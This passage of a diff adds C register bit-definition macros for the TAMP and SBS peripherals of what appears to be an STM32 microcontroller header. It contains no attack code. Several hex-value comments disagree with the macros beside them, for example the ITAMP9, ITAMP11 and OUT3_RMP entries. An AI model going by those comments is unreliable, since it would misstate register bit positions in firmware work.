(0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0U) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1U) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2U) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3U) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4U) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5U) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6U) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7U) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16U) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17U) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18U) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP4MF_Pos (19U) +#define TAMP_SMISR_ITAMP4MF_Msk (0x1UL << TAMP_SMISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_SMISR_ITAMP4MF TAMP_SMISR_ITAMP4MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20U) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21U) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22U) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23U) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24U) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26U) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27U) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28U) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk +#define TAMP_SMISR_ITAMP15MF_Pos (30U) +#define TAMP_SMISR_ITAMP15MF_Msk (0x1UL << TAMP_SMISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_SMISR_ITAMP15MF TAMP_SMISR_ITAMP15MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2U) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3U) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4U) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5U) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6U) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7U) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + +/******************** Bits definition for TAMP_OR register ***************/ +#define TAMP_OR_OUT3_RMP_Pos (1U) +#define TAMP_OR_OUT3_RMP_Msk (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00000006 */ +#define TAMP_OR_OUT3_RMP TAMP_OR_OUT3_RMP_Msk +#define TAMP_OR_OUT3_RMP_0 (0x1UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00100000 */ +#define TAMP_OR_OUT3_RMP_1 (0x2UL << TAMP_OR_OUT3_RMP_Pos) /*!< 0x00200000 */ +#define TAMP_OR_OUT5_RMP_Pos (3U) +#define TAMP_OR_OUT5_RMP_Msk (0x1UL << TAMP_OR_OUT5_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_OUT5_RMP TAMP_OR_OUT5_RMP_Msk +#define TAMP_OR_IN2_RMP_Pos (8U) +#define TAMP_OR_IN2_RMP_Msk (0x1UL << TAMP_OR_IN2_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN2_RMP TAMP_OR_IN2_RMP_Msk +#define TAMP_OR_IN3_RMP_Pos (9U) +#define TAMP_OR_IN3_RMP_Msk (0x1UL << TAMP_OR_IN3_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN3_RMP TAMP_OR_IN3_RMP_Msk +#define TAMP_OR_IN4_RMP_Pos (10U) +#define TAMP_OR_IN4_RMP_Msk (0x1UL << TAMP_OR_IN4_RMP_Pos) /*!< 0x00000001 */ +#define TAMP_OR_IN4_RMP TAMP_OR_IN4_RMP_Msk + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* SBS */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SBS_HDPLCR register *****************/ +#define SBS_HDPLCR_INCR_HDPL_Pos (0U) +#define SBS_HDPLCR_INCR_HDPL_Msk (0xFFUL << SBS_HDPLCR_INCR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLCR_INCR_HDPL SBS_HDPLCR_INCR_HDPL_Msk /*!< Increment HDPL value. */ + +/******************** Bit definition for SBS_HDPLSR register *****************/ +#define SBS_HDPLSR_HDPL_Pos (0U) +#define SBS_HDPLSR_HDPL_Msk (0xFFUL << SBS_HDPLSR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLSR_HDPL SBS_HDPLSR_HDPL_Msk /*!< HDPL value. */ + +/******************** Bit definition for SBS_NEXTHDPLCR register *****************/ +#define SBS_NEXTHDPLCR_NEXTHDPL_Pos (0U) +#define SBS_NEXTHDPLCR_NEXTHDPL_Msk (0x3UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000003 */ +#define SBS_NEXTHDPLCR_NEXTHDPL SBS_NEXTHDPLCR_NEXTHDPL_Msk /*!< NEXTHDPL value. */ +#define SBS_NEXTHDPLCR_NEXTHDPL_0 (0x1UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000001 */ +#define SBS_NEXTHDPLCR_NEXTHDPL_1 (0x2UL << SBS_NEXTHDPLCR_NEXTHDPL_Pos) /*!< 0x00000002 */ + +/******************** Bit definition for SBS_DBGCR register *****************/ +#define SBS_DBGCR_AP_UNLOCK_Pos (0U) +#define SBS_DBGCR_AP_UNLOCK_Msk (0xFFUL << SBS_DBGCR_AP_UNLOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGCR_AP_UNLOCK SBS_DBGCR_AP_UNLOCK_Msk /*!< Open the Access Port. */ + +#define SBS_DBGCR_DBG_UNLOCK_Pos (8U) +#define SBS_DBGCR_DBG_UNLOCK_Msk (0xFFUL << SBS_DBGCR_DBG_UNLOCK_Pos) /*!< 0x0000FF00 */ +#define SBS_DBGCR_DBG_UNLOCK SBS_DBGCR_DBG_UNLOCK_Msk /*!< Open the debug when DBG_AUTH_HDPL is reached. */ + +#define SBS_DBGCR_DBG_AUTH_HDPL_Pos (16U) +#define SBS_DBGCR_DBG_AUTH_HDPL_Msk (0xFFUL << SBS_DBGCR_DBG_AUTH_HDPL_Pos) /*!< 0x00FF0000 */ +#define SBS_DBGCR_DBG_AUTH_HDPL SBS_DBGCR_DBG_AUTH_HDPL_Msk /*!< HDPL value when the debug should be effectively opened. */ + +#define SBS_DBGCR_DBG_AUTH_SEC_Pos (24U) +#define SBS_DBGCR_DBG_AUTH_SEC_Msk (0xFFUL << SBS_DBGCR_DBG_AUTH_SEC_Pos) /*!< 0xFF000000 */ +#define SBS_DBGCR_DBG_AUTH_SEC SBS_DBGCR_DBG_AUTH_SEC_Msk /*!< Open the non-secured and secured debugs. */ + +/******************** Bit definition for SBS_DBGLCKR register *****************/ +#define SBS_DBGLOCKR_DBGCFG_LOCK_Pos (0U) +#define SBS_DBGLOCKR_DBGCFG_LOCK_Msk (0xFFUL << SBS_DBGLOCKR_DBGCFG_LOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGLOCKR_DBGCFG_LOCK SBS_DBGLOCKR_DBGCFG_LOCK_Msk /*!< SBS_DBGLOCKR_DBGCFG_LOCK value. */ + +/******************** Bit definition for SBS_RSSCMDR register ***************/ +#define SBS_RSSCMDR_RSSCMD_Pos (0U) +#define SBS_RSSCMDR_RSSCMD_Msk (0xFFFFUL << SBS_RSSCMDR_RSSCMD_Pos) /*!< 0x0000FFFF */ +#define SBS_RSSCMDR_RSSCMD SBS_RSSCMDR_RSSCMD_Msk /*!< command to be executed by the RSS. */ + +/******************** Bit definition for SBS_EPOCHSELCR register ************/ +#define SBS_EPOCHSELCR_EPOCH_SEL_Pos (0U) +#define SBS_EPOCHSELCR_EPOCH_SEL_Msk (0x3UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000003 */ +#define SBS_EPOCHSELCR_EPOCH_SEL SBS_EPOCHSELCR_EPOCH_SEL_Msk /*!< Select EPOCH sent to SAES IP to encrypt/decrypt keys */ +#define SBS_EPOCHSELCR_EPOCH_SEL_0 (0x1UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000001 */ +#define SBS_EPOCHSELCR_EPOCH_SEL_1 (0x2UL << SBS_EPOCHSELCR_EPOCH_SEL_Pos) /*!< 0x00000002 */ + +/****************** Bit definition for SBS_PMCR register ****************/ +#define SBS_PMCR_PB6_FMP_Pos (16U) +#define SBS_PMCR_PB6_FMP_Msk (0x1UL << SBS_PMCR_PB6_FMP_Pos) /*!< 0x00010000 */ +#define SBS_PMCR_PB6_FMP SBS_PMCR_PB6_FMP_Msk /*!< Fast-mode Plus command on PB(6) */ +#define SBS_PMCR_PB7_FMP_Pos (17U) +#define SBS_PMCR_PB7_FMP_Msk (0x1UL << SBS_PMCR_PB7_FMP_Pos) /*!< 0x00020000 */ +#define SBS_PMCR_PB7_FMP SBS_PMCR_PB7_FMP_Msk /*!< Fast-mode Plus command on PB(7) */ +#define SBS_PMCR_PB8_FMP_Pos (18U) +#define SBS_PMCR_PB8_FMP_Msk (0x1UL << SBS_PMCR_PB8_FMP_Pos) /*!< 0x00040000 */ +#define SBS_PMCR_PB8_FMP SBS_PMCR_PB8_FMP_Msk /*!< Fast-mode Plus command on PB(8) */ +#define SBS_PMCR_PB9_FMP_Pos (19U) +#define SBS_PMCR_PB9_FMP_Msk (0x1UL << SBS_PMCR_PB9_FMP_Pos) /*!< 0x00080000 */ +#define SBS_PMCR_PB9_FMP SBS_PMCR_PB9_FMP_Msk /*!< Fast-mode Plus command on PB(9) */ + +/****************** Bit definition for SBS_FPUIMR register ***************/ +#define SBS_FPUIMR_FPU_IE_Pos (0U) +#define SBS_FPUIMR_FPU_IE_Msk (0x3FUL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x0000003F - */ +#define SBS_FPUIMR_FPU_IE SBS_FPUIMR_FPU_IE_Msk /*!< All FPU 